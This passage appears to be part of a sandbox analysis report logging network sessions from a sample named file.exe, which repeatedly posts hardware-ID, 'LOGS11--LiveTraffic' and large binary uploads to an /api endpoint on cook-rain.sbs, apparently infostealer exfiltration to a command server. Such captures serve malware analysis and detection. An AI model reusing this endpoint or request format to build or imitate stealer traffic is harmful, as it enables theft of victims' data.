cfL4;desc="?proto=TCP&rtt=1596&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13773&delivery_rate=1880519&cwnd=245&unsent_bytes=0&cid=6af77600ae48ff9c&ts=727&x=0"
2024-11-17 03:38:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 0d 0a Data Ascii: 11ok 173.254.250.70
2024-11-17 03:38:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49706	188.114.96.3	443	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:39 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3H9BERVE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15022 Host: cook-rain.sbs
2024-11-17 03:38:39 UTC	15022	OUT	Data Raw: 2d 2d 33 48 39 42 45 52 56 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 30 43 44 37 41 33 35 44 30 32 31 30 42 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 33 48 39 42 45 52 56 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 48 39 42 45 52 56 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 33 48 39 42 45 52 56 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --3H9BERVEContent-Disposition: form-data; name="hwid"AD0CD7A35D0210B7F7005D7B20127A88--3H9BERVEContent-Disposition: form-data; name="pid"2--3H9BERVEContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--3H9BERVEContent-Di
2024-11-17 03:38:40 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sepmnh1o7me18nq9p30g0732l7; expires=Wed, 12-Mar-2025 21:25:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8rDOYip5U6CgBTh%2BGPUEqtCO4IFM58cWIQPcDB9ItIlv16KjcfGtoIKC%2Bd2ZNU3FbJjRPzoES9i8SxDA83VGFjXsJKKsTYz%2BpK%2BP8C35cOv9%2BKdznQpQS%2FKY5%2BeX86At"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3cb06c2bd54791-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1201&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2828&recv_bytes=15949&delivery_rate=2280314&cwnd=244&unsent_bytes=0&cid=d54671f0ab8cc37c&ts=732&x=0"
2024-11-17 03:38:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 0d 0a Data Ascii: 11ok 173.254.250.70
2024-11-17 03:38:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49707	188.114.96.3	443	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:40 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RQ8TY0Z4IRHLVG3TWYG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20413 Host: cook-rain.sbs
2024-11-17 03:38:40 UTC	15331	OUT	Data Raw: 2d 2d 52 51 38 54 59 30 5a 34 49 52 48 4c 56 47 33 54 57 59 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 30 43 44 37 41 33 35 44 30 32 31 30 42 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 52 51 38 54 59 30 5a 34 49 52 48 4c 56 47 33 54 57 59 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 51 38 54 59 30 5a 34 49 52 48 4c 56 47 33 54 57 59 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --RQ8TY0Z4IRHLVG3TWYGContent-Disposition: form-data; name="hwid"AD0CD7A35D0210B7F7005D7B20127A88--RQ8TY0Z4IRHLVG3TWYGContent-Disposition: form-data; name="pid"3--RQ8TY0Z4IRHLVG3TWYGContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-17 03:38:40 UTC	5082	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (X6K~`iO\_,mi`m?ls}Q
2024-11-17 03:38:41 UTC	1003	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b20lpjrv361ah04eauhdvjllsh; expires=Wed, 12-Mar-2025 21:25:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ssaDSqMSF3gKvl5k06OqHB%2Fika5mzGl7iB5KtrpPwszKpZWYh4CfAMji0y0DzVrTOGgOcG8ZoQKXbw9bZoasyymipEaklQ9uGbIwBS826nIM5tcs6zi0YuKdyhpfVlUS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3cb075fc7c46cc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2828&recv_bytes=21373&delivery_rate=1573058&cwnd=243&unsent_bytes=0&cid=d3ad77fb26ecd60c&ts=680&x=0"
2024-11-17 03:38:41 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 0d 0a Data Ascii: 11ok 173.254.250.70
2024-11-17 03:38:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49708	188.114.96.3	443	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:42 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DR7NJDJW4SIBF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1199 Host: cook-rain.sbs
2024-11-17 03:38:42 UTC	1199	OUT	Data Raw: 2d 2d 44 52 37 4e 4a 44 4a 57 34 53 49 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 30 43 44 37 41 33 35 44 30 32 31 30 42 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 44 52 37 4e 4a 44 4a 57 34 53 49 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 52 37 4e 4a 44 4a 57 34 53 49 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 52 37 4e 4a Data Ascii: --DR7NJDJW4SIBFContent-Disposition: form-data; name="hwid"AD0CD7A35D0210B7F7005D7B20127A88--DR7NJDJW4SIBFContent-Disposition: form-data; name="pid"1--DR7NJDJW4SIBFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--DR7NJ
2024-11-17 03:38:43 UTC	1008	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sat08lnkou1oettfcn21teo19q; expires=Wed, 12-Mar-2025 21:25:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H2oy%2B6Qu%2F4aw1HIlhGS9QNnpQUZkFvpiNbAcWO0tKQQ8u9jPhkmJ97FqkdRELZuWfWCWr%2B1URFT3Tx8xQ%2BK8va6YgbScpw0N2N3EIrcxC7mINEkFGWQPMJgDp7Shh9%2FP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3cb07ffb866b7f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1984&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2108&delivery_rate=1213746&cwnd=244&unsent_bytes=0&cid=cec11b0dc8e270ad&ts=734&x=0"
2024-11-17 03:38:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 30 0d 0a Data Ascii: 11ok 173.254.250.70
2024-11-17 03:38:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49709	188.114.96.3	443	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:44 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FTGG98H529QI93YZZX8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567712 Host: cook-rain.sbs
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: 2d 2d 46 54 47 47 39 38 48 35 32 39 51 49 39 33 59 5a 5a 58 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 30 43 44 37 41 33 35 44 30 32 31 30 42 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 46 54 47 47 39 38 48 35 32 39 51 49 39 33 59 5a 5a 58 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 54 47 47 39 38 48 35 32 39 51 49 39 33 59 5a 5a 58 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --FTGG98H529QI93YZZX8Content-Disposition: form-data; name="hwid"AD0CD7A35D0210B7F7005D7B20127A88--FTGG98H529QI93YZZX8Content-Disposition: form-data; name="pid"1--FTGG98H529QI93YZZX8Content-Disposition: form-data; name="lid"LOGS11--Li
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: c8 7a 81 44 30 26 be 22 b7 23 1a 09 ef 36 1e 27 91 d9 5a 6b 5f 4e 18 62 a6 a9 a3 8f c3 ee 08 83 87 55 ac 4b a0 a5 94 37 7d 56 17 18 0c a5 65 10 e5 69 c9 b2 bf ab 45 d9 74 08 f3 64 35 37 16 ca ea d5 1a 13 f1 3c b9 02 f9 a7 d5 c2 8b c3 62 06 bc 95 60 93 07 54 f7 79 ab 54 6f cc e4 be 1e f8 17 ae ad 38 07 0b 1b 2d da e6 be df 9a f8 72 33 43 f0 6b 9a 5a a1 30 55 ac b2 72 9b 1d 95 39 cb 7e 1a 8f 3b da e5 e6 00 42 41 b8 34 38 db 52 97 99 db 84 6e 7b 0c b7 8b 8c ee 04 2f 3c c4 58 b3 d4 df 8b 17 94 e7 db 6f d2 b1 f0 3d 31 bc be ab 1e 37 9e 9b e6 b7 e2 a4 3c 70 51 d5 8d 24 8f 5d bf a2 a0 9d 02 0b d1 3a 48 fb f4 53 1f 32 6a c6 d0 b5 69 a9 61 54 6c f8 af b2 31 64 66 d6 a9 d2 55 86 06 6b 52 1e 8e b2 e2 5b e2 39 de 4f 2f cc bb 5a 32 85 38 06 e8 04 12 cd 08 23 04 b5 63 Data Ascii: zD0&"#6'Zk_NbUK7}VeiEtd57<b`TyTo8-r3CkZ0Ur9~;BA48Rn{/<Xo=17<pQ$]:HS2jiaTl1dfUkR[9O/Z28#c
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: 41 32 ef bf ee 8e 44 69 3f f6 65 fe 54 c1 52 12 0f 32 df 2f 3f d2 e5 db cf 3d fb 49 b9 b7 fa 66 31 fe a5 32 26 e2 df 0f 4f 1e 59 45 af d9 cc 7c 36 fe 34 4d ad 8d c5 36 7e 06 4f a5 43 c9 5d e2 13 3a 5f 3d 54 9f 57 97 76 99 56 ef 37 c9 85 ed 20 95 4a 99 2a b5 11 d6 59 4c 58 20 71 ea eb d8 ba 78 e3 67 7a ea 35 50 a4 8b d9 37 9c 65 f7 dd 32 a4 a1 2f 0a 0e 8e 60 6e d2 7f f3 0d 13 c1 40 54 6e b5 59 6d 50 fb 4f 7d 21 aa a3 34 f7 a7 59 31 f4 af 4a df a6 b8 1e 7e c3 3f 62 16 34 e3 c5 78 2f f3 ec 53 4c 46 6a 56 d0 60 65 c6 8d 4f db 73 36 41 12 0f 77 de 1f 11 04 b7 26 79 75 3a 3e 2c 16 be be f1 be ec e7 43 c7 be 6f fa 83 d3 33 eb cb d7 fb d0 ba 2a be c2 32 5a d7 e4 c0 80 6f 5d 6e 9f 94 6e 8e df b8 4d 25 2b c5 f7 c7 5f 10 4f e9 76 cf da 0c 57 26 60 73 d0 db a8 e3 9d Data Ascii: A2Di?eTR2/?=If12&OYE\|64M6~OC]:_=TWvV7 JYLX qxgz5P7e2/`n@TnYmPO}!4Y1J~?b4x/SLFjV`eOs6Aw&yu:>,Co32Zo]nnM%+_OvW&`s
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: 3d b8 62 28 2d c8 e1 ee eb 56 e9 02 ac ee 42 c9 86 c0 e5 7b 8d e3 07 40 86 62 43 81 fd e6 41 77 f9 1b 2a 9a 4b 1f ba 3f 7b d4 75 d8 2e c0 f8 49 fa 66 74 fd 1b ce d5 8e bb dc e8 bc df fe 2f 47 8f 55 9e aa 11 e8 57 af 88 47 a5 67 60 03 be 0e a7 73 ef 8f 7e d6 86 68 fd 9c 47 1b e0 5a 80 62 85 5e de fe 48 7f d7 61 a9 de ba cb 4f 72 dd dc 79 ad 3b 4f 74 ff 3b 6d 8f 86 2b 95 71 b5 14 21 90 71 65 d9 d9 7a 78 69 df 39 b2 ee 70 dd 3a 73 67 ef 7c 16 b7 71 d3 96 f4 81 ef 6d 9e ab 31 93 92 bf a3 63 39 f3 88 f4 a3 1b 7d 19 48 d5 85 d2 0b 99 7d 38 5e 62 cd ee 77 56 38 32 fc 71 ca 5f da 1d 2f 16 e4 5f 97 39 9c 75 c9 35 e8 39 27 d1 e1 3f bf 4f ad fc 99 02 93 ee 53 41 85 d7 d4 86 5d ee 5c 9b 0d 32 f1 04 2b 14 71 6f 28 bd b6 fe f6 4e f0 d8 ca 7e ae d5 18 65 fc 13 64 77 22 Data Ascii: =b(-VB{@bCAw*K?{u.Ift/GUWGg`s~hGZb^HaOry;Ot;m+q!qezxi9p:sg\|qm1c9}H}8^bwV82q_/_9u59'?OSA]\2+qo(N~edw"
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: 2e 3f c6 3e a6 fc a8 fb a9 72 36 e4 0f 14 ba ec a0 f5 ae 4a b3 b8 be d0 4a 41 78 bb 23 ea f0 ff 7f c8 6e 73 07 6d 7f 1d 44 d6 b3 64 ab 6d d3 bd c2 b8 e3 f0 e2 08 cf f7 30 1e 59 27 23 4e 0c 81 70 e0 2e 5f 0a 22 f7 f2 26 4f 90 15 bf b1 4d 22 82 09 80 c8 40 d8 a1 ff 72 e4 81 c4 ca 7c d7 67 52 3d 74 e4 49 b7 f5 94 de 91 8d 98 9f 6b 0c 5d f3 7a d7 23 02 1e d0 55 37 01 d6 fb 0b c0 0a 97 a6 d5 6b 3d 6f 99 34 b6 ee fe 12 8b b3 13 64 ed 6b 20 3d 63 b8 29 5b e1 c0 e1 f5 6f 85 1a 3b 19 f9 d5 2a 18 d0 2f 1c 3e d9 78 9c 8e 3c 79 85 d0 47 2b b7 84 a2 8a 21 a9 95 71 63 f2 ac b4 da f3 d9 5a 5d 27 73 93 af cf 68 01 6d 3b b2 52 ce 87 ff 70 ce 50 ed 72 99 b2 4d 29 bd d7 80 cb f6 15 be 0c 9e ab 0a 8a 8f 26 3d 0b ca de 66 97 52 76 d1 6f 46 49 21 dc d0 28 36 42 29 50 8b 52 8d Data Ascii: .?>r6JJAx#nsmDdm0Y'#Np._"&OM"@r\|gR=tIk]z#U7k=o4dk =c)[o;*/>x<yG+!qcZ]'shm;RpPrM)&=fRvoFI!(6B)PR
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: 37 71 b3 a1 27 e7 65 78 c9 56 30 5b fd 89 0d ce dc 74 62 0c 0f b9 08 b8 29 3e 25 77 7c 6f 10 ba a1 80 ab ae f8 9b 6b 44 84 73 42 03 cf af a6 d1 5a c6 93 17 7e c2 66 76 46 fc af c5 28 23 53 a5 44 ff 08 9c 9e 25 ea 9f 6e a9 ac 05 5d 21 18 88 3c ac 0a 56 d6 78 10 e3 a2 50 70 07 92 a1 58 67 60 e3 9e db 9e 0d eb 15 69 f2 a8 f3 3b ad 2d f1 66 32 1d 6e 51 67 87 b8 97 ef 27 c8 5d 6c ea c9 dd 89 14 58 bb 8b 89 e3 21 7b 9d b7 a3 be d0 6c 15 0e 85 8f d5 4f 9d 00 e5 93 24 16 29 60 41 9a 48 64 ea ca 2d 7d e4 04 e2 0b 55 0e b3 c1 12 c0 bb e9 17 18 28 1e 9b d6 05 f8 f9 aa a9 a6 a9 57 e7 02 ce c8 80 dc 2b 0a 06 14 d7 4a 4a 75 f0 d4 59 ae c2 e8 09 6a 55 0c 73 f0 25 57 dc f6 ee 6c d2 33 6d d6 4f e7 b6 9c a4 be 59 62 b2 46 fd 36 43 b1 a8 cc 77 60 33 bc d8 e9 87 47 81 4f c6 Data Ascii: 7q'exV0[tb)>%w\|okDsBZ~fvF(#SD%n]!<VxPpXg`i;-f2nQg']lX!{lO$)`AHd-}U(W+JJuYjUs%Wl3mOYbF6Cw`3GO
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: 1e 69 b0 79 ff 4b 7d 97 8f 76 e5 36 7f fb 55 18 b8 24 7c 35 84 0d 09 8d a7 39 77 9c 1c 73 3c e6 c2 28 a9 a8 4a cd e2 64 a1 30 f9 84 ba cd 31 2e ea f9 55 45 aa f4 24 6a 34 c0 6f 90 0f 9c 9d 7b 05 08 8f d6 7a 15 da c4 73 4a 14 b6 8d a5 af 27 f0 01 5a 9e 5d c3 db 64 c6 f8 a1 7d 3c 60 78 69 82 57 ff c5 d1 31 d6 58 e2 fa bd 07 92 01 d6 68 aa ef 65 24 53 06 76 d7 6f 9b f9 3d f0 44 4a f5 72 83 74 f2 43 b0 f4 55 a5 00 5d f8 c6 fa df 41 f2 67 45 63 59 80 bf 40 7f 70 7a 81 87 5a ab c6 83 24 21 e2 df 67 2c 0a 6e f4 07 e5 2d 50 87 18 e8 de b4 1f 30 f5 a0 0a 2d 21 e4 c9 1d 69 cf 86 1f 09 b5 1f 77 16 8d 46 41 82 af ea 93 85 d1 a9 eb f0 32 cb d8 d2 a5 04 02 82 18 0e 89 2c 14 5b bd ac 08 46 00 03 24 ac c4 9e 5c 34 48 7b 16 7d d6 8e 93 f7 fd 7c 0d 4e 82 90 f5 4d 29 57 fd Data Ascii: iyK}v6U$\|59ws<(Jd01.UE$j4o{zsJ'Z]d}<`xiW1Xhe$Svo=DJrtCU]AgEcY@pzZ$!g,n-P0-!iwFA2,[F$\4H{}\|NM)W
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: 08 fb 36 93 26 a5 de 0e 36 96 51 77 ed 3e dd 22 c4 03 47 32 16 df e6 b6 95 22 1b 16 34 02 3f 99 00 70 23 a9 02 d4 f1 16 83 b5 13 77 43 0a 92 f1 a9 7b 35 df 80 c5 96 85 89 f9 2f 76 ea 51 dc 4c 2a 30 e5 75 1b 33 f0 80 b7 ae 08 d1 5e d0 cb f3 c5 90 2c 80 35 06 07 be f0 2e a5 70 8d ab ec 56 e4 1d 1c 1a e0 0e 97 ec 03 3d 7f 76 9e 7c 81 6c 40 90 eb c4 79 cd ed 40 c2 c1 ee aa eb ae b6 e4 88 eb db 59 6c 99 5f fb 40 d2 86 1e 29 8f d3 fb 66 d1 75 f2 f9 c0 c9 8d 50 ec 75 9c 1a 01 7d 5b 45 1b 30 9b 6b 5c 95 0e 48 20 67 67 4e 53 1f 9a 3a 4c 3b 0f a6 f4 32 e3 86 0d b6 5d 79 29 79 fe 39 77 47 01 8b cc 33 7f 50 6e 99 36 3c 71 c7 74 8f 4c 68 d2 ca 04 c4 28 92 3a c3 7e f1 a5 6d 67 c4 36 76 d8 90 8c dc 32 e8 36 65 b5 b3 ca bb 68 9e de 3f 39 2b 51 0d 4b 89 65 cc 89 ca f3 88 Data Ascii: 6&6Qw>"G2"4?p#wC{5/vQL*0u3^,5.pV=v\|l@y@Yl_@)fuPu}[E0k\H ggNS:L;2]y)y9wG3Pn6<qtLh(:~mg6v26eh?9+QKe
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: e7 31 8f 9d 4c 28 fe b2 b9 d8 2a 9d d6 0d 45 74 51 21 e8 5d 77 4b 09 b5 81 83 77 de 09 05 ce 35 66 dd 5e b2 ae 3c 5f 0f d5 9a ef f9 37 5c 3f 32 18 c3 f3 69 c6 cc 2e 02 ce 2f 5c 2a f7 26 95 eb e3 1e af 40 1d e2 31 bd a1 56 e0 6d 55 6f 62 5a 7c 37 06 f6 69 5b 75 fe fb 37 5d c6 72 61 2c 5d 72 fb 9a a2 da fa 62 08 19 13 00 d0 69 a8 fd 78 43 39 fb 90 c0 8d 05 5e 46 d4 36 82 12 83 5a a9 fa 3c 91 87 01 09 ed b7 d1 c3 02 8b 2a a8 60 ee a4 93 c3 4c f8 0b f7 d4 19 78 a0 ce 7f 97 18 d7 7e 45 f9 84 86 32 de 9e dd 8b a2 ba ff 29 5e d9 be f8 5b da 7e 42 d7 e0 61 3e 76 a1 b6 72 64 b9 be 22 e5 c0 a9 e6 c4 80 8c a1 85 bf 2d 9d 93 cd 41 0f 2f 62 f6 ff f5 fa 96 e1 03 3a 51 54 17 14 d8 2f cb 9e 1b 02 e6 f2 69 7a 97 fe 78 b6 8e d6 7a db dd 70 3c ae 9e b0 57 01 47 c5 7f 3b 01 Data Ascii: 1L(EtQ!]wKw5f^<_7\?2i./\&@1VmUobZ\|7i[u7]ra,]rbixC9^F6Z<*`Lx~E2)^[~Ba>vrd"-A/b:QT/izxzp<WG;
2024-11-17 03:38:44 UTC	15331	OUT	Data Raw: 3d 6a 9f 51 63 27 9d fd 79 1f 9a dc ac e5 a8 85 e3 16 42 64 09 ae 64 a3 f9 1e 80 1b c7 ae 61 09 71 9e ff 9e ac f9 f3 f4 fc df 24 31 8a 3f 64 ee 98 f7 32 47 05 0b eb c7 b6 8b 7c cd d2 3a 00 ac 2c d3 6b aa 35 56 59 f9 5f 91 a4 62 94 6f 7e 03 86 62 6e fa 99 77 6e cd 52 5f e6 61 03 55 00 4c 6c 20 a7 6d c1 d7 3f f8 5d f3 94 57 49 35 72 e9 8a 75 21 72 62 a3 3a d1 5b 12 6b f7 48 33 da dd 14 03 54 2c 49 12 cf c2 7c 50 c2 fc 1b 92 8a 01 6b 67 d1 44 99 21 27 0c 0f 70 83 84 17 29 d9 e1 14 b1 e9 b3 20 ab 53 4e a8 5e 8e e1 d2 15 cb 32 98 b6 f8 9b f4 c1 a5 c6 b4 8e 2a 2b 56 6f b8 1f c4 b1 92 17 1a 4a c2 34 e6 28 3f 63 9b 17 0b 66 c9 07 e1 a1 45 5b 69 4a dc c8 68 bc 49 84 49 29 37 48 a9 65 5e fe a4 8b b9 49 18 f6 05 bf 0c 4e 0e cc 73 fb 66 32 13 f1 08 20 6f 7a 29 b8 5a Data Ascii: =jQc'yBddaq$1?d2G\|:,k5VY_bo~bnwnR_aULl m?]WI5ru!rb:[kH3T,I\|PkgD!'p) SN^2*+VoJ4(?cfE[iJhII)7He^INsf2 oz)Z
2024-11-17 03:38:48 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ig8co81fnvt8li5v1g91ui4fur; expires=Wed, 12-Mar-2025 21:25:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=meMhj9fWgkZggsqNs6PMrIQklF12go0EUqPP5t8k88%2F4zM969SKobSD7CP0vHti4NcgTHxukTkh0VZZpIQcvOxif4AuDzrApmIVvFGvVqN0sFkpjNsu%2Fpef2g1MmhWyi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3cb08c0effe7e3-DFW alt-svc: h3=":443"; ma=86400 server-timing: 